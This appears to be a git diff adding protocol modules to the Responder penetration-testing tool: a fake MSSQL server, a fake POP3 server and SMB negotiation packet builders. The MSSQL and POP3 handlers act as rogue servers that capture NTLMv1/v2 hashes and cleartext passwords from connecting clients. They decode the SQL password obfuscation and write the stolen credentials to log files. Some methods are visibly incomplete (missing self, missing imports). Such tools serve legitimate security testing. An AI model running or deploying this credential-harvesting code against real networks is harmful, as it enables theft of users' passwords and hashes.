self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
##Then calculate
|
||||
|
||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
#AvPairs 6 len is always 00.
|
128
core/protocols/mssql/MSSQLServer.py
Normal file
128
core/protocols/mssql/MSSQLServer.py
Normal file
|
@ -0,0 +1,128 @@
|
|||
import struct
|
||||
|
||||
class MSSQLServer():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def start(SQL_On_Off):
|
||||
if SQL_On_Off == "ON":
|
||||
t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SQL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = True
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
|
||||
def ParseSQLHash(data,client):
|
||||
SSPIStart = data[8:]
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
if NthashLen == 24:
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||
responder_logger.info('[+]MsSQL NTLMv1 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 Domain is :%s'%(Domain))
|
||||
responder_logger.info('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+NumChal+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
responder_logger.info('[+]MsSQL NTLMv2 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 Domain is :%s'%(Domain))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
responder_logger.info('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(Data,client):
|
||||
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
|
||||
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
|
||||
PwdOffset = struct.unpack('<h',Data[52:54])[0]
|
||||
AppOffset = struct.unpack('<h',Data[56:58])[0]
|
||||
PwdLen = AppOffset-PwdOffset
|
||||
UsernameLen = PwdOffset-UsernameOffset
|
||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
responder_logger.info('[+]MSSQL PlainText Password captured from :%s'%(client))
|
||||
responder_logger.info('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
|
||||
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
||||
EncryptionValue = Data[PacketLen-7:PacketLen-6]
|
||||
if re.search("NTLMSSP",Data):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#MS-SQL server class.
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
##Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
buffer0 = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(buffer0)
|
||||
data = self.request.recv(1024)
|
||||
##NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
buffer1 = str(t)
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
##NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
self.request.close()
|
||||
##################################################################################
|
||||
#SQL Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/mssql/__init__.py
Normal file
0
core/protocols/mssql/__init__.py
Normal file
69
core/protocols/pop3/POP3Server.py
Normal file
69
core/protocols/pop3/POP3Server.py
Normal file
|
@ -0,0 +1,69 @@
|
|||
##################################################################################
|
||||
#POP3 Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class POP3Server():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(POP_On_Off):
|
||||
if POP_On_Off == "ON":
|
||||
t = threading.Thread(name="POP", target=serve_thread_tcp, args=("0.0.0.0", 110,POP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if POP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
|
||||
class POPOKPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "+OK"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#POP3 server class.
|
||||
class POP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(POPOKPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
responder_logger.info('[+]POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
#print "[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass)
|
||||
responder_logger.info("[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#POP3 Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/pop3/__init__.py
Normal file
0
core/protocols/pop3/__init__.py
Normal file
475
core/protocols/smb/SMBPackets.py
Normal file
475
core/protocols/smb/SMBPackets.py
Normal file
|
@ -0,0 +1,475 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
|
||||
##################################################################################
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
class SMBNegoAnsLM(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x41\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("Srvtimezone", "\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", ""),
|
||||
("Domain", "SMB"),
|
||||
("DomainNull", "\x00\x00"),
|
||||
("Server", "SMB-TOOLKIT"),
|
||||
("ServerNull", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##Convert first..
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM only packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
|
||||
################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||
class SMBNegoKerbAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x09"),
|
||||
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech3ASNId", "\x06"),
|
||||
("NegThisMech3ASNLen", "\x0a"),
|
||||
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
